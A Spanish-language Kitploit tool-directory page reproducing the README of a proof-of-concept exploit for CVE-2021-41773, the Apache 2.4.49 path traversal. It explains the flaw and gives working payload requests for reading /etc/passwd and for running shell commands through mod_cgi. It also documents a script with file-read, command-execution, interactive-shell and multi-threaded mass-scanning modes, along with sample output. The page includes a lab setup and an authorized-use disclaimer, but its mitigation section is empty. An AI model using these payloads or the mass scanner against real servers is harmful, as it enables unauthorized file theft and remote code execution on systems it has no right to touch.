Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-41773 — Prueba de concepto de CVE-2021-41773 | Kitploit
Herramientas/GitHubGitHub/joapath/cve-2021-41773
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubjoapath/cve-2021-41773

CVE-2021-41773

Prueba de concepto de CVE-2021-41773

Ver Repositorio
37hace 10 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-41773 — PoC: Path Traversal + RCE via mod_cgi

Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización.


Descripción

PoC desarrollada para demostrar y entender la vulnerabilidad CVE-2021-41773, presente en Apache HTTP Server 2.4.49.

El fallo reside en la función ap_normalize_path(), que no validaba correctamente los caracteres codificados en URL. Esto permitía a un atacante saltar fuera del DocumentRoot mediante una secuencia de caracteres codificados (%2e%2e%2f en lugar de ../), leyendo archivos arbitrarios del sistema.

Cuando el módulo mod_cgi estaba habilitado, la vulnerabilidad escalaba a RCE (Remote Code Execution), permitiendo ejecutar comandos directamente en el servidor con los permisos del proceso Apache.


Condiciones necesarias para la explotación

El servidor debe cumplir todas estas condiciones para ser vulnerable:

CondiciónDetalle
Versión de ApacheExactamente 2.4.49
Directiva de accesoRequire all granted en la configuración
Módulo CGImod_cgi habilitado (solo para RCE)

Cómo funciona el ataque

Fase 1 — Path Traversal

Apache 2.4.49 filtraba el clásico ../ pero no su versión codificada en URL. El atacante construye una ruta que el filtro no detecta, pero que el sistema operativo interpreta correctamente:

GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f es la codificación URL de ../. Apache lo dejaba pasar, el OS lo resolvía, y el resultado era acceso a archivos fuera del directorio web.

Fase 2 — RCE via mod_cgi

Con mod_cgi activo, el path traversal se usa para apuntar a /bin/sh en lugar de un archivo. Apache lo trata como un script CGI y lo ejecuta. El comando viaja en el body del POST como un script shell mínimo:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded

echo 'Content-Type: text/plain'; echo; id 2>&1

El output del comando llega en la respuesta HTTP.


Entorno de pruebas

El repositorio incluye un entorno listo para reproducir la vulnerabilidad en setup/:

cd setup
docker compose up -d

Esto levanta Apache 2.4.49 en el puerto 8080 con la configuración vulnerable (Require all granted + mod_cgi habilitado). Los archivos del lab:

ArchivoDescripción
setup/docker-compose.ymlContenedor con Apache 2.4.49
setup/httpd.confConfiguración vulnerable de Apache

Los archivos de configuración utilizados están en setup/.

Decisiones técnicas para el exploit

  • ¿Por qué urllib3 y no requests? requests re-encodea automáticamente los caracteres del path antes de enviarlos. Eso rompe el payload porque el servidor recibe %252e en lugar de %2e. urllib3 permite enviar el path sin modificaciones.

  • ¿Por qué .%2e/ y no %2e%2e/? Apache filtra %2e%2e/ en el módulo mod_rewrite. La variante .%2e/ es semánticamente equivalente pero pasa el filtro, porque la normalización del path ocurre después de la validación.

Limitaciones

  • El módulo mod_cgi debe estar habilitado para que el modo RCE funcione. Sin él, solo es posible el path traversal.
  • El exploit no funciona si Apache está detrás de un WAF que filtre encoding doble en el path.
  • Probado únicamente contra Apache 2.4.49 en Linux. La versión 2.4.50 requiere un bypass adicional (ver CVE-2021-42013).

Uso del script

python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]

Argumentos

ArgumentoRequeridoDescripción
--targetSí*URL base del servidor (ej: http://localhost:8080)
--input-file / -iFSí*Archivo con lista de targets (uno por línea)
--modeSíModo de operación (ver tabla abajo)
--cmdNoComando a ejecutar en modo rce (default: id)
--fileNoArchivo a leer en modo traversal (default: /etc/passwd)
--threads / -tNoHilos para escaneo masivo (default: 10, solo con --input-file)
--output / -oNoExportar resultados a JSON (solo con --input-file)

* --target y --input-file son mutuamente excluyentes — se usa uno u otro.

Modos de operación

ModoDescripción
checkVerifica si el target es vulnerable y si mod_cgi está habilitado, sin extraer datos sensibles
traversalLee un archivo arbitrario del sistema vía path traversal
rceEjecuta un comando individual en el servidor vía mod_cgi
shellPseudo-shell interactivo para ejecutar comandos RCE en serie

Ejemplos

# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check

# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts

# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami

# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell

# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json

Output esperado — modo check

───────────────────────────────────────────────────────
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos y profesionales
───────────────────────────────────────────────────────

[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
    Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible

Output esperado — modo traversal

[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo:  /etc/passwd
[*] URL:      http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...

[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────

Output esperado — modo rce

[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando:  whoami
[*] Enviando request...

[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────

Output esperado — modo shell

[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.

apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin  boot  dev  etc  home  lib  lib64  ...
apache> exit
[*] Cerrando shell.

Output esperado — escaneo masivo

[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...

[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión

══════════════════════════════════════════════════
  Resultados: 5 targets escaneados
  Vulnerables:     2  (1 con RCE)
  No vulnerables:  1
  Errores:         2
  Exportado a:    results.json
══════════════════════════════════════════════════

El archivo JSON contiene metadata del escaneo y un array de resultados con target, status, server, hostname y rce por cada objetivo.


Mitigación

Descargar herramienta